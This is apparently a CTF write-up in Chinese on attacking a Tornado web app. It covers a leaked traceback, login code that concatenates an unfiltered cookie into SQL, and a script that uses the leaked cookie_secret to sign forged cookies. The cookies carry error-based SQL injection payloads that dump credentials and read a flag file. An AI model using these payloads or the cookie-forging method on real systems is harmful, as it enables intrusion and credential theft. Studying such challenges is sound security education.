- 进入网页查看整个页面,发现最下面提示是tornado编写的。
- tornado编写的一般会报错一些东西,所以用burpsuit抓包。
- 抓取login页面,破坏POST文本结构,发现报错。
Traceback (most recent call last):
File "/usr/lib64/python2.6/site-packages/tornado-4.2b1-py2.6-linux-x86_64.egg/tornado/web.py", line 1413, in _execute
result = method(*self.path_args, **self.path_kwargs)
File "/var/www/html/rtiny/login.py", line 20, in post
if True not in [f in self.get_argument("email") for f in sql]:
File "/usr/lib64/python2.6/site-packages/tornado-4.2b1-py2.6-linux-x86_64.egg/tornado/web.py", line 385, in get_argument
return self._get_argument(name, default, self.request.arguments, strip)
File "/usr/lib64/python2.6/site-packages/tornado-4.2b1-py2.6-linux-x86_64.egg/tornado/web.py", line 462, in _get_argument
raise MissingArgumentError(name)
MissingArgumentError: HTTP 400: Bad Request (Missing argument email)
def post(self):
username = self.get_secure_cookie("username") or ''
passwd = md5(self.get_argument('password', ''))
row = db.ct("manager", "*", "username='" + username + "' and password='" + passwd + "'")
if row:
self.set_secure_cookie("lock", "0")
self.redirect("http://" + URL)
else:
self.redirect("http://" + URL + "/lock")
- sql语句为select * from manager where username = 'username' and password = 'passwd'
- 可以看到username并没有任何过滤,但是有一个get_secure_cookie函数。学过tornado的都知道,这是个cookie加密函数。需要密钥cookie_secret。可以在index.py中找到。
- 然后本地构造一个tornado-web。来加密任意的cookie文本。
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
username = self.set_secure_cookie("要输入的sql注入语句。")
#self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select version()))) -- ")
#self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema=database())))-- ")
#self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ")
#self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")
#self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#")
#self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#")
def make_app():
return tornado.web.Application([
(r"/", MainHandler),
], cookie_secret="M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=")
if __name__ == "__main__":
app = make_app()
app.listen(8888)
tornado.ioloop.IOLoop.current().start()
- 然后用得到的cookie,在burpsuit上post传输到lock中就可以得到。
网友评论